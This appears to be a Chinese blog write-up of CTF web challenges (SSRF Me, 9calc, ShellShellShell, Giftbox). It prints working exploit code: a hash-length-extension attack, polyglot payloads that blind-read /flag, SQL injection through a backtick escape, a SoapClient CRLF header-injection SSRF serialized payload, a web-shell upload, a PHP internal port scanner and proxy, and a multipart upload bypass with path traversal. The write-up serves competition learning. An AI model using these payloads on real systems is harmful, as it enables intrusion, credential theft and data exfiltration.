之前各种比赛还有开发拖了一堆时间,鸽到了现在才写完Orz
Xman期间的一场国际赛,有自己学校大佬出的题于是去做了一波,感觉好多原题。但我还是要说一句BUUCTF牛逼!
SSRF Me
先读读源码
@app.route('/')
def index():
return f.open("code.txt",'r').read()
/读取直接给源码
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
/geneSign提供key+param+”sacn”的md5值
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action")) readscan
param = urllib.unquote(request.args.get("param", "")) flag.txt
sign = urllib.unquote(request.cookies.get("sign")) md5(key+flag.txtread+scan)
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return task.Exec()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
/De1ta是这题的关键,获得param,sign,action后,waf检测是否有gopher和file,这里就不能用这两个协议读了
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
return resp
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(url).read()[:50]
except:
return "Connection Timeout"
然后是这个Task类,可以看到根据ip生成了沙盒防止互相读取。然后exec()中会检查key+param+action
的md5值是否与sign值相等,相等若action为scan则读取param对应的文件并写入result.txt。为read时则将result.txt读出
那思路就很清晰了,用scan读取flag,然后哈希拓展绕过检查再read读出flag
但是做题时一直在想gopher和file这些协议被过滤了,有什么其他协议能用。做到后面发现urlopen其实可以用flag.txt打开当前目录下的文件,测试了几下,好像没用上任何协议时,会默认用file协议读
接下来就好搞了,用/geneSign?param=flag.txt
获取哈希值然后访问/De1ta?param=flag.txt
,cookie:action=scan
读取flag。然后再用/geneSign
一波获取哈希值,接着哈希长度扩列获得scan%80%00.....%a0%00...read
的哈希值
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import my_md5
samplehash="e0875c4e6149bc7fd90b7ed1548b04df"
s = []
s.append(samplehash[0:8])
s.append(samplehash[8:16])
s.append(samplehash[16:24])
s.append(samplehash[24:32])
p = []
for i in s:
p.append(i[6:8]+i[4:6]+i[2:4]+i[0:2])
s1 = int(p[0],16)
s2 = int(p[1],16)
s3 = int(p[2],16)
s4 = int(p[3],16)
num = 16
secret = "a"*num
secret_str = secret+'scan'+'\x80'
value = 'read'
padding = 64-len(secret_str)-8
secret_str = secret_str+'\x00'*padding+"\xa0"+"\x00"*7+value
print len(secret_str)
r = my_md5.deal_rawInputMsg(secret_str)
inp = r[len(r)/2:]
print inp
print "getmein:"+my_md5.run_md5(s1,s2,s3,s4,inp)
但是发现param传%7f以上会导致服务器问题(应该是get请求的问题),懵逼了好久发现action只是检测存在并不是相等,于是cookie一波拿flag
# -*- coding:utf-8 -*-
from Crypto.Util.strxor import strxor
from base64 import *
import requests
num = 16
secret = "a"*num
secret_str = secret+'scan'+'\x80'
value = 'read'
padding = 64-len(secret_str)-8
secret_str = '%80'+'%00'*padding+"%a0"+"%00"*7+value
url = r'http://139.180.128.86/De1ta?param=scan'
cookie = {'action': secret_str,'sign': '4e5e3cd2e040a695869c672ada5af0dd'}
http = requests.get(url,cookies=cookie)
print http.content
然后看到有其他大佬用了load_file:xxx
这样去读
还有最牛逼的操作就是/geneSign?param=flag.txtread
拿一波哈希值,然后/De1ta?param=flag.txt
,cookie:action=readscan
,这样就能不用哈希长度扩列。然后可以看到scan和read的if并不是连在一起的,是分开判断的,也就是说能同时触发这两个。然后一波就那道flag了【跪
不过这题本意是要用CVE-2019-9948
这个漏洞来解的,有时间再看看吧
9calc
这题是RCTF的calcalcalc的修补版,估计也是zsx师傅一开始的预期解吧。这次对ts部分是怎么运作更加了解了,补一下RCTF那留下的坑
首先是main.ts
app.useGlobalPipes(new ValidationPipe({
disableErrorMessages: true,
}));
主要关注这部分代码,设置了全局验证功能
然后就是最重要的app.controller.ts的calculate部分
@Post('/calculate')
calculate(@Body() calculateModel: CalculateModel, @Res() res: Response)
这里将@Body,也就是req.body给传入了calculateModel中
export default class CalculateModel {
@IsNotEmpty()
@ExpressionValidator(15, {
message: 'Invalid input',
})
public readonly expression: string;
@IsBoolean()
public readonly isVip: boolean = false;
}
然后calculateModel中的expression就被赋予了post过来的expression的值,然后就是验证器
export function ExpressionValidator(property: number, validationOptions?: ValidationOptions) {
return (object: Object, propertyName: string) => {
registerDecorator({
name: 'ExpressionValidator',
target: object.constructor,
propertyName,
constraints: [property],
options: validationOptions,
validator: {
validate(value: any, args: ValidationArguments) {
const str = value ? value.toString() : '';
if (str.length === 0) {
return false;
}
if (!(args.object as CalculateModel).isVip) {
if (str.length >= args.constraints[0]) {
return false;
}
}
if (!/^[0-9a-z\[\]\+\-\*\/ \t]+$/i.test(str)) {
return false;
}
return true;
},
},
});
};
}
这个验证器的目标只是用来验证一个数据的,因此value:any
得到的值便是expression的值。然后可以看到相较calcalcalc,这里的正则少了()
,这也就防止了之前的非预期解
回到app.controller.ts上
const serializedBson = bson.serialize(calculateModel);
const urls = ['10.0.20.11', '10.0.20.12', '10.0.20.13'];
bluebird.map(urls, async (url) => {
return Axios.post(`http://${url}/`, serializedBson, {
headers: {
'Content-Type': 'text/plain',
},
responseType: 'arraybuffer',
timeout: 50
}).catch(e => {
return { data: e.message, headers: [] };
});
}).all().then((responses) => {
const jsonResponses = responses.map(p => {
try {
return bson.deserialize(p.data);
} catch (e) {
return p.data.toString('utf-8');
}
});
const set = new Set(jsonResponses.map(p => JSON.stringify(p)));
this.logger.log(`Expression = ${JSON.stringify(calculateModel.expression)}`);
this.logger.log('Ret = ' + JSON.stringify(jsonResponses));
if (set.size === 1) {
const rand = Math.floor(Math.random() * responses.length);
Object.keys(responses[rand].headers).forEach((key) => {
if (!blackList.includes(key.toLowerCase())) {
res.setHeader(key, responses[rand].headers[key]);
}
});
res.json(jsonResponses[rand]);
res.end();
} else {
res.end('That\'s classified information. - Asahina Mikuru');
}
}).catch((e) => {
res.status(500).json({ ret: 'Internal error' }).end();
this.logger.error(e.message, e.trace);
});
接下部分的代码,将calculateModel进行bson序列化,然后分别发向三个部署在内网的程序,继而获得响应再将其反序列化赋给p
接着再将p进行json序列化后并去重(这里其实不太懂到底是所有结果都在p中然后被序列化,还是三个结果各自被序列化后放在一个数组。不过去重是对数组感觉像是后者,但代码上看起来又不是,一个p被赋三个值感觉不太对。先留个坑日后用nestjs试试看Orz)。去重结果也就是set.size
为1时返回数据,否则报错
之前在calcalcalc用isVips绕长度限制时没说清楚,能够用json传值然后赋给isVip是因为express的默认解析是支持json的,这点去查看文档就能看到
2.x版本的
4.x版本的
读源码可看出
因此接收到的json格式的数据能够传入calculateModel,把isVip的值给覆盖成功绕过长度限制
长度绕过后就是这个令人头大的正则,由于少了()
不能通过双eval去盲注,只能想办法绕过这个正则
这里要利用js将json类型处理为字符串时,会处理为[Object Object]
只要我们传入的expression为json类型,toString()后就会变为[Object Object]
,从而绕过正则检验。当然这里对原数据是没影响的,本来就没有在原数据上进行操作
但有个问题在于,在nodejs端
app.post('/', (req, res) => {
const body = req.body
const data = bson.deserialize(Buffer.from(body))
const ret = eval(data.expression.toString())
res.write(bson.serialize({ ret: ret.toString() }))
res.end()
})
可以看到对传入的数据进行了toString(),导致数据不能使用。而这题将flag放在的三处,无法忽略掉这个问题
绕过这里需要利用mongoDB对bson反序列化时的一个特性
js-bson/lib/parser/serializer.js
else if (value['_bsontype'] === 'Binary') {
index = serializeBinary(buffer, key, value, index, true);
} else if (value['_bsontype'] === 'Symbol') {
index = serializeSymbol(buffer, key, value, index, true);
} else if (value['_bsontype'] === 'DBRef') {
index = serializeDBRef(buffer, key, value, index, depth, serializeFunctions, true);
} else if (value['_bsontype'] === 'BSONRegExp') {
index = serializeBSONRegExp(buffer, key, value, index, true);
} else if (value['_bsontype'] === 'Int32') {
index = serializeInt32(buffer, key, value, index, true);
} else if (value['_bsontype'] === 'MinKey' || value['_bsontype'] === 'MaxKey') {
index = serializeMinMax(buffer, key, value, index, true);
} else if (typeof value['_bsontype'] !== 'undefined') {
throw new TypeError('Unrecognized or invalid _bsontype: ' + value['_bsontype']);
}
读源码可以看出在bson数据在进行反序列化时,会根据对象中_bsontype的值,将对象的value转化为对应的类型
假如一个bson序列化字符串为{'a':{'value':'xxx','_bsontype':'Binary'}}
那么在反序列化后,a就会被强制转为二进制类型,值依旧为xxx
利用这点进行测试,会发现当类型为Symbol时能够绕过,于是利用构造payload
payload很巧妙的利用了php,python和nodejs在单行和多行注释上的不同,大佬们实在tql
打python
1//1 and ord(open('/flag').read()[0]) > -1 and 1\n
php和nodejs由于注释恒为1,python由于//为除号继续运行,根据读出的值条件是否正确返回1或false。为1时显示正常,false则报错,以此盲注
打php
len('1') + 0//5 or '''\n//?>\n1;function len(){return 1}/*<?php\nfunction len($a){echo MongoDB\\BSON\\fromPHP(['ret' => file_get_contents('/flag')[0] == '0' ? "1" : "2"]);exit;}?>*///'''
在python中,由于'''
为多行注释,于是无视n的分行,直接注释到结尾,只剩下len('1') + 0//5 or
部分,结果恒为1(不知道为啥不跟后面的注释就会报错,但跟上的后面的注释就能成功的输出1,这也在大佬们的计算中吗!
在nodejs中,//为单行注释,于是n后的部分便不再注释范围内。而/**/为多行注释于是执行的代码就只剩下
len('1') + 0
1;function len(){return 1}
执行结果恒为1
在php中,同样//为单行注释,这里还利用了<?php?>直接将外部的代码无视掉,于是执行的代码就是
return len('1') + 0?>
<?php
function len($a){echo MongoDB\\BSON\\fromPHP(['ret' => file_get_contents('/flag')[0] == '0' ? "1" : "2"]);exit;}}?>
由于是结尾,于是可以不使用;。然后定义了len函数读取比较,当值相等时返回1,否则返回2,于是与python盲注同理
这里其实觉得不用bson序列化也行,毕竟后面还有一个序列化再输出的
打nodejs
1 + 0//5 or '''\n//?>\nrequire('fs').readFileSync('/flag','utf-8')[0] == '0' ? 1 : 2;//'''
这条不是官方的payload,不过我觉得没必要再给php专门写个open(),有点多余
在python下1 + 0//5 or
直接输出1,在php下1 + 0
也是输出1
在nodejs下,这剩下的代码为
1 + 0
require('fs').readFileSync('/flag','utf-8')[0] == '0' ? 1 : 2;
总觉得这个会返回前面的恒为1,而不是后面那个,感觉不太靠谱的亚子
然后把payload放入传输的数据中,写脚本盲注即可{'expression':{'value':'payload','_bsontype':'Symbol'},'isVip':true}
# -*- coding: UTF-8 -*-、
import requests
url = "http://33b3ae01-10a6-419c-a822-956b08f91f04.node3.buuoj.cn/calculate"
ua_header = {"Content-Type": "application/json",}
sign = "'0123456789abcdefghijklmnopqrstuvwxyz{}_"
flag = ''
for i in range(48):
for j in sign:
# python
# data = "1//1 and ord(open('/flag').read()["+str(i)+"]) == "+str(ord(j))+" and 1\\n"
# php
# data = "len('1') + 0//5 or '''\\n//?>\\n1;function len(){return 1}/*<?php\\nfunction len($a){echo MongoDB\\\\BSON\\\\fromPHP(['ret' => file_get_contents('/flag')["+str(i)+"] == '"+j+"' ? \\\"1\\\" : \\\"2\\\"]);exit;}?>*///'''"
# nodejs
# data = "1 + 0//5 or '''\\n//?>\\nrequire('fs').readFileSync('/flag','utf-8')["+str(i)+"] == '"+j+"' ? 1 : 2;//'''"
payload = "{\"expression\":{\"value\":\""+data+"\",\"_bsontype\":\"Symbol\"},\"isVip\":true}"
print payload
request = requests.post(url, headers = ua_header, data=payload)
content = request.content
if 'ret' in content:
flag += j
break
print flag
ShellShellShell
进入是个葛优瘫的登录界面,有个md5截断,用脚本跑一下就ok
登陆进去后能发送消息,不过好像只能自己看到不太像xss。然后尝试php://filter
被过滤了,接着尝试各种源码泄露,发现了swp的泄露
于是拿下源码,恢复一下.index.php.swp
<?php
require_once 'user.php';
$C = new Customer();
if(isset($_GET['action']))
{
$action=$_GET['action'];
$allow=0;
$white_action = "delete|index|login|logout|phpinfo|profile|publish|register";
$vpattern = explode("|",$white_action);
foreach($vpattern as $key=>$value)
{
if(preg_match("/$value/i", $action ) && (!preg_match("/\//i",$action)) )
{
$allow=1;
}
}
if($allow==1)
{require_once 'views/'.$_GET['action'];}
else {
die("Get out hacker!<br>jaivy's laji waf.");
}
}
else
header('Location: index.php?action=login');
可以看到实例化了一个Customer类,并且只允许几个白名单的字符串,同时引入了ues.php
于是拿一下user.php的源码
require_once 'config.php';
class Customer{
可以看到有一个Customer类,同时又引入了一个config.php,继续拿
再config.php中可以看到,用了全局过滤
function addslashes_deep($value)
{
if (empty($value))
{
return $value;
}
else
{
return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
}
}
function addsla_all()
{
if (!get_magic_quotes_gpc())
{
if (!empty($_GET))
{
$_GET = addslashes_deep($_GET);
}
if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}
$_COOKIE = addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST);
}
}
addsla_all();
这就有点不好搞了
拿到这几个源码后,再去试试看能不能取到发布消息和显示消息页面,网站的主要功能是这两个,漏洞可能也在这里
尝试了几次后发现/view/publish.swp
和/view/index.swp
能够拿到源码
先看publish部分
if($C->is_admin==0) {
if (isset($_POST['signature']) && isset($_POST['mood'])) {
$res = @$C->publish();
if($res){
echo "<script>alert('ok');self.location='index.php?action=index'; </script>";
exit;
}
else {
echo "<script>alert('something error');self.location='index.php?action=publish'; </script>";
exit;
}
else{
echo "Hello ".$C->username."<br>";
echo "Orz...大佬果然进来了!<br>但jaivy说flag不在这,要flag,来内网拿...<br>";
if(isset($_FILES['pic'])){
$res = @$C->publish();
if($res){
echo "<script>alert('ok');self.location='index.php?action=publish'; </script>";
exit;
}
else {
echo "<script>alert('something error');self.location='index.php?action=publish'; </script>";
}
}
?>
当是非admin,差别是有否文件上传的功能,那应该就是要想办法去登录admin账号
先继续看publish()
function publish()
{
if(!$this->check_login()) return false;
if($this->is_admin == 0)
{
if(isset($_POST['signature']) && isset($_POST['mood'])) {
$mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
$db = new Db();
@$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
if($ret)
return true;
else
return false;
}
}
else
{
if(isset($_FILES['pic']))
{
$dir='/app/upload/';
move_uploaded_file($_FILES['pic']['tmp_name'],$dir.$_FILES['pic']['name']);
echo "<script>alert('".$_FILES['pic']['name']."upload success');</script>";
return true;
}
else
return false;
}
}
调用了insert(),继续读
private function get_column($columns){
if(is_array($columns))
$column = ' `'.implode('`,`',$columns).'` ';
else
$column = ' `'.$columns.'` ';
return $column;
}
public function insert($columns,$table,$values){
$column = $this->get_column($columns);
$value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';
$nid =
$sql = 'insert into '.$table.'('.$column.') values '.$value;
$result = $this->conn->query($sql);
return $result;
}
可以看到用了get_column()对值进行了处理,在各值两侧加上反引号。然后由于是用来处理列的,于是处理值是要对值将`转为'。/`([^`,]+)`/
这个表达式匹配的是,两个反引号间不存在`和,的字符串。\'${1}\'
则是将两端的`替换为'
这顿操作就提供了注入的可能,由于反引号是不会被addslashes()转义,就可以用thx经处理后转为',然后注释掉后面的数据即可。比如像a`)#
,经get_column后为 `a`)#`
,再进过正则就转为了'a')#`
,成功逃逸出来。不过想想有了这个就算没看到前面那个全局过滤好像也没啥影响
看官方wp是用盲注注出来的,不过既然有回显就没必要盲注那么麻烦,而且连sql语句的结构都知道了,可以构造一下直接回显注入出来
payload(两端要有空格):
`+(select conv(substr(hex((select password from ctf_users where username = `admin`)),1,10),16,10))+`
c991707fdf339958eded91331fb11ba0
Jaivypassword
脚本手工都行,不过每段要分开十进制转16进制,然后再合并起来16进制转字符串。md5解密一下即可
不过比赛时可能是出了bug,直接刷着刷着就刷出了密码
然后登录一下
提示需要常用的ip,八成是要本地地址才行,尝试改了一下X-Forward-For不行,那估计就是要soap类了
看源码index.php允许action中传入phpinfo,于是看一下phpinfo,发现确实有soap类可以使用
那接下来就是要找一个反序列化的点
在publish()中可以看到
$mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
$db = new Db();
@$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
mood类被序列化后存入了数据库,那在取出时应该需要进行反序列化。于是去index页面看看$data = $C->showmess();
调用了showmess()$mood = unserialize($row[2]);
在showmess()中也确实找到了将取出的数据进行了反序列化,那么要利用的点就在这里
看代码可以知道,无论怎么控制mood的值,都是无法产生soap类。那就只能继续利用signature,将后面的mood给覆盖掉
于是要构造一个soap对象,cookie中有PHPSESSID,数据包含用户名、密码和验证码。通过一个用户发送读取消息,让另一个PHPSESSID的用户登录admin账户
之前比赛的时候只是用了下,没用认真研究soap类的请求是什么样的,这里就分析一下
查php手册可以看到,构造函数中有两个参数
第一个参数用来控制是否为wsdl模式,传入url为wsdl,传入null则不为wsdl模式
当不为wsdl模式时,必须在option数组中设置location和uri。而且当为wsdl模式时会受到wsdl文件的限制(这是啥???),那自然要选择非wsdl模式
在选择非wsdl模式后,有以上这几个参数可以放入option
接下来尝试一下发个soap请求,看看具体的报文内容是什么样的
$a = new SoapClient(null,array('location' => "http://ip:port",'uri' => "123"));
$c = serialize($a);
$k = unserialize($c);
$k->getcountry();
这里要反序列化后调用个方法,不然发不出报文(不太懂为啥
然后监听一下端口
可以看到soap发出的数据是以xml的方式发送的,但要post数据的话,需要将Content-Type
设成application/x-www-form-urlencoded
这里就要利用option中的user_agent参数,可以看到User-Agent是在Content-Type之上的,可以通过设置User-Agent往头部注入各种想要构造的信息
$a = new SoapClient(null,array('user_agent' => "test\r\nCookie:PHPSESSID=123456\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:100\r\n\rxxx=xxx"'location' => "http://ip:port",'uri' => "123"));
$c = serialize($a);
$k = unserialize($c);
$k->getcountry();
这里往user_agent中放入了Cookie,Content-Type,Content-Length以及post的数据,由于User-Agent在上方,直接将下面的数据给覆盖掉
再监听一次端口,可以看到对报文的注入成功了
于是针对这题修改一下
<?php
$location = "http://127.0.0.1/index.php?action=login";
$uri = "http://127.0.0.1/";
$soap = new SoapClient(null, array('user_agent' => "test\r\nCookie:PHPSESSID=tt98rf3ebp2tuivl0m973gjdr3\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:100\r\n\r\nusername=admin&password=jaivypassword&code=RTwZnHELJjCivxEsApoc&xxx=",'location' => $location,'uri' => $uri));
$s = serialize($soap);
echo urlencode($s);
用xxx=将报文剩余部分作为xxx的值,以防万一
payload:
signature=1`,`O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A39%3A%22http%3A%2F%2F127.0.0.1%2Findex.php%3Faction%3Dlogin%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A189%3A%22test%0D%0ACookie%3APHPSESSID%3Djtgn11ggnfgr2g7rcfbhk2c894%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A100%0D%0A%0D%0Ausername%3Dadmin%26password%3Djaivypassword%26code%3DomYcKyq1Vplp4vmwBtiw%26xxx%3D%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D`)#&mood=0
n和r不能少,不然会导致报文构造失败识别不到对应的数据,比赛时没注意到这么多导致有时能登录有时不能
登录成功后进入publish
传一句话木马扫了一下目录并没有找到flag,那应该是在内网的另一台主机上
于是先执行ifconfig查一下ip段
可以看到,这个站在内网的网段是172.64.164.0,于是传一个扫描脚本上去扫
<?php
set_time_limit(0);//设置程序执行时间
ob_implicit_flush(True);
ob_end_flush();
$url = isset($_REQUEST['url'])?$_REQUEST['url']:null;
/*端口扫描代码*/
function check_port($ip,$port,$timeout=0.1){
$conn = @fsockopen($ip, $port, $errno, $errstr, $timeout);
if($conn){
fclose($conn);
return true;
}
}
function scanip($ip,$timeout,$portarr){
foreach($portarr as $port){
if(check_port($ip,$port,$timeout=0.1)==True){
echo 'Port: '.$port.' is open<br/>';
@ob_flush();
@flush();
}
}
}
echo '<html>
<form action="" method="post">
<input type="text" name="startip" value="Start IP" />
<input type="text" name="endip" value="End IP" />
<input type="text" name="port" value="80,8080,8888,1433,3306" />
Timeout<input type="text" name="timeout" value="10" /><br/>
<button type="submit" name="submit">Scan</button>
</form>
</html>
';
if(isset($_POST['startip'])&&isset($_POST['endip'])&&isset($_POST['port'])&&isset($_POST['timeout'])){
$startip=$_POST['startip'];
$endip=$_POST['endip'];
$timeout=$_POST['timeout'];
$port=$_POST['port'];
$portarr=explode(',',$port);
$siparr=explode('.',$startip);
$eiparr=explode('.',$endip);
$ciparr=$siparr;
if(count($ciparr)!=4||$siparr[0]!=$eiparr[0]||$siparr[1]!=$eiparr[1]){
exit('IP error: Wrong IP address or Trying to scan class A address');
}
if($startip==$endip){
echo 'Scanning IP '.$startip.'<br/>';
@ob_flush();
@flush();
scanip($startip,$timeout,$portarr);
@ob_flush();
@flush();
exit();
}
if($eiparr[3]!=255){
$eiparr[3]+=1;
}
while($ciparr!=$eiparr){
$ip=$ciparr[0].'.'.$ciparr[1].'.'.$ciparr[2].'.'.$ciparr[3];
echo '<br/>Scanning IP '.$ip.'<br/>';
@ob_flush();
@flush();
scanip($ip,$timeout,$portarr);
$ciparr[3]+=1;
if($ciparr[3]>255){
$ciparr[2]+=1;
$ciparr[3]=0;
}
if($ciparr[2]>255){
$ciparr[1]+=1;
$ciparr[2]=0;
}
}
}
/*内网代理代码*/
function getHtmlContext($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, TRUE);//表示需要response header
curl_setopt($ch, CURLOPT_NOBODY, FALSE); //表示需要response body
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_TIMEOUT, 120);
$result = curl_exec($ch);
global $header;
if($result){
$headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$header = explode("\r\n",substr($result, 0, $headerSize));
$body = substr($result, $headerSize);
}
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '200'){
return $body;
}
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '302') {
$location = getHeader("Location");
if(strpos(getHeader("Location"),'http://') == false){
$location = getHost($url).$location;
}
return getHtmlContext($location);
}
return NULL;
}
function getHost($url){
preg_match("/^(http:\/\/)?([^\/]+)/i",$url, $matches);
return $matches[0];
}
function getCss($host,$html){
preg_match_all("/<link[\s\S]*?href=['\"](.*?[.]css.*?)[\"'][\s\S]*?>/i",$html, $matches);
foreach($matches[1] as $v){
$cssurl = $v;
if(strpos($v,'http://') == false){
$cssurl = $host."/".$v;
}
$csshtml = "<style>".file_get_contents($cssurl)."</style>";
$html .= $csshtml;
}
return $html;
}
if($url != null){
$host = getHost($url);
echo getCss($host,getHtmlContext($url));
}
?>
这个脚本是在网上随便找的,凑合着用= =
扫到了好几个地址80端口开启,可能是BUU上其它题的端口?访问下.7附近的试试看先
在.8成功访问到,是个上传页面
<?php
$sandbox = '/var/sandbox/' . md5("prefix" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if($_FILES['file']['name']){
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
if (!is_array($filename)) {
$filename = explode('.', $filename);
}
$ext = end($filename);
if($ext==$filename[count($filename) - 1]){
die("try again!!!");
}
$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
$_ = $_POST['hello'];
if(@substr(file($_)[0],0,6)==='@<?php'){
if(strpos($_,$new_name)===false) {
include($_);
} else {
echo "you can do it!";
}
}
unlink($new_name);
}
else{
highlight_file(__FILE__);
}
要上传文件首先要先绕过这里。这里当filename非数组时,以.将filename分割,然后取数组最后一个与下标为长度减一的值比较,相等直接die
我们知道,当一个数组为关联数组时,count(array)-1
获得的下标是无法得到有效的值的。这里也是利用这点,我们处理一下报文,让文件名为一个关联数组,就能让$filename[count($filename) - 1]
的值无效,而end($filename)
依旧会取到最后一个数据,从而绕过这里
-----------------------------1290214079214
Content-Disposition: form-data; name="file[b]"
xx
-----------------------------1290214079214
Content-Disposition: form-data; name="file[a]"
xxxx
-----------------------------1290214079214--
大概像这样
还有一种解法是php并不是按数字排序的,所以也可以传一个['1'=>'xxx','0'=>'xx']
进行绕过
然后是下半部分,要想办法阻止unlink
这里有几种解法
利用php7的文件包含漏洞,当include('php://filter/string.strip_tags/resource=/etc/passwd')
时,php就会崩溃,继而不执行unlink
利用include('index.php')
包含自身,让php死循环崩溃。这样就能让文件保留在服务器上,然后再去跑new_name的值就行
还有一种方法是,既然ext的值是可以控制的,那我们可以构造一下,让ext为php/../xx.php
,这样我们就能够控制文件名,不需去爆破,直接在unlink前include就能获得内容
这里用最后一种解法,报文大概像这样
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="flag.php"
Content-Type: false
@<?php echo 1;
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="hello"
flag.php
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file[2]"
222
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file[1]"
111
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file[0]"
/../flag.php
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="submit"
Submit
------WebKitFormBoundary7MA4YWxkTrZu0gW--
然后借用一下大佬们的脚本改改
<?php
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => "http://172.64.72.8",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file\"; filename=\"flag.php\"\r\nContent-Type: false\r\n\r\n@<?php echo 1;\r\n\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"hello\"\r\n\r\nflag.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[2]\"\r\n\r\n222\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[1]\"\r\n\r\n111\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[0]\"\r\n\r\n/../flag.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nSubmit\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--",
CURLOPT_HTTPHEADER => array(
"Postman-Token: a23f25ff-a221-47ef-9cfc-3ef4bd560c22",
"cache-control: no-cache",
"content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW"
),
));
$response = curl_exec($curl);
$err = curl_error($curl);
curl_close($curl);
if ($err) {
echo "cURL Error #:" . $err;
} else {
echo $response;
}
然后找呀找呀,最终在etc中找到了flag
【我也想用find,然而会超时
Giftbox
这题当时打开没什么想法就放弃了,现在想想至少也要做到sql注入那里才对
打开是个很漂亮的前端页面,等了一下后提示输入help
提示了这几个命令,于是ls一下
读一下这几个
只有usage.md能读出来,其它两个看起来像文件夹然而进不去
接着login登不了于是抓下包
尝试发包但响应totp error
而直接通过浏览器发送的则正常返回
于是去看一下totp这个参数是做什么的
url: host + '/shell.php?a='+encodeURIComponent(input)+'&totp=' + new TOTP("GAXG24JTMZXGKZBU",8).genOTP(),
可以看到totp是由TOTP类生成
不太清楚totp是啥,于是查了一下后大概知道,totp则是基于时间的一次性口令。totp需要客户端与服务器时钟同步,同时共享密钥,否则会使客户端与服务器计算出来的动态口令不同验证失败。不过可以通过设置timeStep防止客户端与服务器由于难以避免的时间差导致的验证口令错误,但设置过大的话就失去了动态口令的意义
生成口令的算法是:
TOTP =Truncate(HMAC-SHA-1(K, (T - T0) / X))
这里的几个参数的意义是:
K是共享密钥(令牌种子)
T是一个整数,代表当前时间
T0是一个整数,代表一个时间点,一般为0
X口令变化周期,单位为秒,30秒或者60秒
那么前面那串GAXG24JTMZXGKZBU应该就是key了,8不清楚是什么试试看
可以看出是设置口令的长度
那还有X和T0这两个参数值要获得,于是去看看totop.min.js
n(e, [
{
key: 'genOTP',
value: function () {
var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : 5,
r = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : 0,
n = Math.floor((Date.now() / 1000 - r) / t);
return function t(e, r, n) {
